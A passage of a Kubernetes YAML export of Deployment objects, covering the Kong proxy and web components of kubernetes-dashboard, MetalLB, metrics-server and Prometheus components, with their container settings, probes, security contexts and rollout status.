      type: RollingUpdate
    template:
      metadata:
        annotations:
          kuma.io/gateway: enabled
          kuma.io/service-account-token-volume: kubernetes-dashboard-kong-token
          traffic.sidecar.istio.io/includeInboundPorts: ""
        creationTimestamp: null
        labels:
          app: kubernetes-dashboard-kong
          app.kubernetes.io/component: app
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kong
          app.kubernetes.io/version: "3.8"
          helm.sh/chart: kong-2.46.0
          version: "3.8"
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: KONG_ADMIN_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_GUI_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_GUI_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_LISTEN
            value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
          - name: KONG_CLUSTER_LISTEN
            value: "off"
          - name: KONG_DATABASE
            value: "off"
          - name: KONG_DECLARATIVE_CONFIG
            value: /kong_dbless/kong.yml
          - name: KONG_DNS_ORDER
            value: LAST,A,CNAME,AAAA,SRV
          - name: KONG_LUA_PACKAGE_PATH
            value: /opt/?.lua;/opt/?/init.lua;;
          - name: KONG_NGINX_WORKER_PROCESSES
            value: "1"
          - name: KONG_PLUGINS
            value: "off"
          - name: KONG_PORTAL_API_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PORTAL_API_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PORT_MAPS
            value: 443:8443
          - name: KONG_PREFIX
            value: /kong_prefix/
          - name: KONG_PROXY_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PROXY_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PROXY_LISTEN
            value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
          - name: KONG_PROXY_STREAM_ACCESS_LOG
            value: /dev/stdout basic
          - name: KONG_PROXY_STREAM_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ROUTER_FLAVOR
            value: traditional
          - name: KONG_STATUS_ACCESS_LOG
            value: "off"
          - name: KONG_STATUS_ERROR_LOG
            value: /dev/stderr
          - name: KONG_STATUS_LISTEN
            value: 0.0.0.0:8100, [::]:8100
          - name: KONG_STREAM_LISTEN
            value: "off"
          - name: KONG_NGINX_DAEMON
            value: "off"
          image: kong:3.8
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - kong
                - quit
                - --wait=15
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /status
              port: status
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: proxy
          ports:
          - containerPort: 8443
            name: proxy-tls
            protocol: TCP
          - containerPort: 8100
            name: status
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /status/ready
              port: status
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /kong_prefix/
            name: kubernetes-dashboard-kong-prefix-dir
          - mountPath: /tmp
            name: kubernetes-dashboard-kong-tmp
          - mountPath: /kong_dbless/
            name: kong-custom-dbless-config-volume
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - rm
          - -vrf
          - $KONG_PREFIX/pids
          env:
          - name: KONG_ADMIN_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_GUI_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_GUI_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_LISTEN
            value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
          - name: KONG_CLUSTER_LISTEN
            value: "off"
          - name: KONG_DATABASE
            value: "off"
          - name: KONG_DECLARATIVE_CONFIG
            value: /kong_dbless/kong.yml
          - name: KONG_DNS_ORDER
            value: LAST,A,CNAME,AAAA,SRV
          - name: KONG_LUA_PACKAGE_PATH
            value: /opt/?.lua;/opt/?/init.lua;;
          - name: KONG_NGINX_WORKER_PROCESSES
            value: "1"
          - name: KONG_PLUGINS
            value: "off"
          - name: KONG_PORTAL_API_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PORTAL_API_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PORT_MAPS
            value: 443:8443
          - name: KONG_PREFIX
            value: /kong_prefix/
          - name: KONG_PROXY_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PROXY_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PROXY_LISTEN
            value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
          - name: KONG_PROXY_STREAM_ACCESS_LOG
            value: /dev/stdout basic
          - name: KONG_PROXY_STREAM_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ROUTER_FLAVOR
            value: traditional
          - name: KONG_STATUS_ACCESS_LOG
            value: "off"
          - name: KONG_STATUS_ERROR_LOG
            value: /dev/stderr
          - name: KONG_STATUS_LISTEN
            value: 0.0.0.0:8100, [::]:8100
          - name: KONG_STREAM_LISTEN
            value: "off"
          image: kong:3.8
          imagePullPolicy: IfNotPresent
          name: clear-stale-pid
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /kong_prefix/
            name: kubernetes-dashboard-kong-prefix-dir
          - mountPath: /tmp
            name: kubernetes-dashboard-kong-tmp
          - mountPath: /kong_dbless/
            name: kong-custom-dbless-config-volume
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: kubernetes-dashboard-kong
        serviceAccountName: kubernetes-dashboard-kong
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir:
            sizeLimit: 256Mi
          name: kubernetes-dashboard-kong-prefix-dir
        - emptyDir:
            sizeLimit: 1Gi
          name: kubernetes-dashboard-kong-tmp
        - name: kubernetes-dashboard-kong-token
          projected:
            defaultMode: 420
            sources:
            - serviceAccountToken:
                expirationSeconds: 3607
                path: token
            - configMap:
                items:
                - key: ca.crt
                  path: ca.crt
                name: kube-root-ca.crt
            - downwardAPI:
                items:
                - fieldRef:
                    apiVersion: v1
                    fieldPath: metadata.namespace
                  path: namespace
        - configMap:
            defaultMode: 420
            name: kong-dbless-config
          name: kong-custom-dbless-config-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-23T10:16:02Z"
      lastUpdateTime: "2025-09-23T10:16:18Z"
      message: ReplicaSet "kubernetes-dashboard-kong-648658d45f" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:28Z"
      lastUpdateTime: "2025-11-29T11:13:28Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    namespace: kubernetes-dashboard
    resourceVersion: "18007821"
    uid: aa9170b3-4d43-499a-b851-84495f408e82
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
        app.kubernetes.io/part-of: kubernetes-dashboard
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: metrics-scraper
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.2.2
          helm.sh/chart: kubernetes-dashboard-7.13.0
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-metrics-scraper:1.2.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8000
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 30
          name: kubernetes-dashboard-metrics-scraper
          ports:
          - containerPort: 8000
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-metrics-scraper
        serviceAccountName: kubernetes-dashboard-metrics-scraper
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-23T10:16:02Z"
      lastUpdateTime: "2025-09-23T10:16:05Z"
      message: ReplicaSet "kubernetes-dashboard-metrics-scraper-547874fcf" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:17Z"
      lastUpdateTime: "2025-11-29T11:13:17Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "18033499"
    uid: 98ba522f-fa02-439f-9af2-1dae3fb4fe60
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-web
        app.kubernetes.io/part-of: kubernetes-dashboard
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: web
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-web
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.7.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --namespace=kubernetes-dashboard
          - --settings-config-map-name=kubernetes-dashboard-web-settings
          env:
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-web:1.7.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-web
          ports:
          - containerPort: 8000
            name: web
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-web
        serviceAccountName: kubernetes-dashboard-web
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-23T10:16:02Z"
      lastUpdateTime: "2025-09-23T10:16:05Z"
      message: ReplicaSet "kubernetes-dashboard-web-7796b9fbbb" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:23:49Z"
      lastUpdateTime: "2025-11-29T13:23:49Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-controller
    namespace: metallb-system
    resourceVersion: "18034253"
    uid: c2e37924-ad30-4fd1-a6ba-0fbd3a78632d
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: metallb
        app.kubernetes.io/name: metallb
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: metallb
          app.kubernetes.io/name: metallb
      spec:
        containers:
        - args:
          - --port=7472
          - --log-level=info
          - --tls-min-version=VersionTLS12
          env:
          - name: METALLB_ML_SECRET_NAME
            value: metallb-memberlist
          - name: METALLB_DEPLOYMENT
            value: metallb-controller
          - name: METALLB_BGP_TYPE
            value: frr
          image: quay.io/metallb/controller:v0.15.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: controller
          ports:
          - containerPort: 7472
            name: monitoring
            protocol: TCP
          - containerPort: 9443
            name: webhook-server
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp/k8s-webhook-server/serving-certs
            name: cert
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: metallb-controller
        serviceAccountName: metallb-controller
        terminationGracePeriodSeconds: 0
        volumes:
        - name: cert
          secret:
            defaultMode: 420
            secretName: metallb-webhook-cert
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      lastUpdateTime: "2025-09-21T18:14:12Z"
      message: ReplicaSet "metallb-controller-5754956df6" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:17Z"
      lastUpdateTime: "2025-11-29T13:25:17Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "2"
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    generation: 2
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server
    namespace: metrics-server
    resourceVersion: "18008213"
    uid: a2eb1804-56d7-4a0d-abc8-8c0489349ca6
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: metrics-server
        app.kubernetes.io/name: metrics-server
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: metrics-server
          app.kubernetes.io/name: metrics-server
      spec:
        containers:
        - args:
          - --secure-port=10250
          - --cert-dir=/tmp
          - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
          - --kubelet-use-node-status-port
          - --metric-resolution=15s
          - --kubelet-insecure-tls
          image: registry.k8s.io/metrics-server/metrics-server:v0.8.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: https
              scheme: HTTPS
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: metrics-server
          ports:
          - containerPort: 10250
            name: https
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /readyz
              port: https
              scheme: HTTPS
            initialDelaySeconds: 20
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: metrics-server
        serviceAccountName: metrics-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-22T18:30:50Z"
      lastUpdateTime: "2025-09-22T18:37:02Z"
      message: ReplicaSet "metrics-server-5dd7b49d79" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:14:17Z"
      lastUpdateTime: "2025-11-29T11:14:17Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 2
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    namespace: prometheus
    resourceVersion: "18034209"
    uid: 56476bea-f052-4ca0-948a-3b012b194dc5
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: kube-state-metrics
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: metrics
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kube-state-metrics
          app.kubernetes.io/part-of: kube-state-metrics
          app.kubernetes.io/version: 2.17.0
          helm.sh/chart: kube-state-metrics-6.3.0
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --port=8080
          - --resources=certificatesigningrequests,configmaps,cronjobs,daemonsets,deployments,endpoints,horizontalpodautoscalers,ingresses,jobs,leases,limitranges,mutatingwebhookconfigurations,namespaces,networkpolicies,nodes,persistentvolumeclaims,persistentvolumes,poddisruptionbudgets,pods,replicasets,replicationcontrollers,resourcequotas,secrets,services,statefulsets,storageclasses,validatingwebhookconfigurations,volumeattachments
          image: registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: kube-state-metrics
          ports:
          - containerPort: 8080
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /readyz
              port: 8081
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: prometheus-community-kube-state-metrics
        serviceAccountName: prometheus-community-kube-state-metrics
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-26T14:49:44Z"
      lastUpdateTime: "2025-09-26T14:50:10Z"
      message: ReplicaSet "prometheus-community-kube-state-metrics-7867455795" has
        successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:11Z"
      lastUpdateTime: "2025-11-29T13:25:11Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
    name: prometheus-community-prometheus-pushgateway
    namespace: prometheus
    resourceVersion: "18007889"
    uid: d89dfd2a-12e4-44f1-a1c9-c669709cbdad
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: prometheus-pushgateway
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: prometheus-pushgateway
          app.kubernetes.io/version: v1.11.1
          helm.sh/chart: prometheus-pushgateway-3.4.1
      spec:
        automountServiceAccountToken: true
        containers:
        - image: quay.io/prometheus/pushgateway:v1.11.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/healthy
              port: 9091
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 10
          name: pushgateway
          ports:
          - containerPort: 9091
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/ready
              port: 9091
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /data
            name: storage-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-prometheus-pushgateway
        serviceAccountName: prometheus-community-prometheus-pushgateway
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: storage-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-26T14:49:44Z"
      lastUpdateTime: "2025-09-26T14:50:13Z"
      message: ReplicaSet "prometheus-community-prometheus-pushgateway-69cb7cfdbb"
        has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:26Z"
      lastUpdateTime: "2025-11-29T11:13:26Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "18034286"
    uid: 5bc0fc79-da43-496e-8de0-1772f4d108b6
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: server
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: prometheus
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: server
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/name: prometheus
          app.kubernetes.io/part-of: prometheus
          app.kubernetes.io/version: v3.6.0
          helm.sh/chart: prometheus-27.39.0
      spec:
        containers:
        - args:
          - --watched-dir=/etc/config
          - --listen-address=0.0.0.0:8080
          - --reload-url=http://127.0.0.1:9090/-/reload
          image: quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 2
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: prometheus-server-configmap-reload
          ports:
          - containerPort: 8080
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/config
            name: config-volume
            readOnly: true
        - args:
          - --storage.tsdb.retention.time=15d
          - --config.file=/etc/config/prometheus.yml
          - --storage.tsdb.path=/data
          - --web.console.libraries=/etc/prometheus/console_libraries
          - --web.console.templates=/etc/prometheus/consoles
          - --web.enable-lifecycle
          image: quay.io/prometheus/prometheus:v3.6.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/healthy
              port: 9090
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 15
            successThreshold: 1
            timeoutSeconds: 10
          name: prometheus-server
          ports:
          - containerPort: 9090
            protocol: TCP
          readinessProbe:
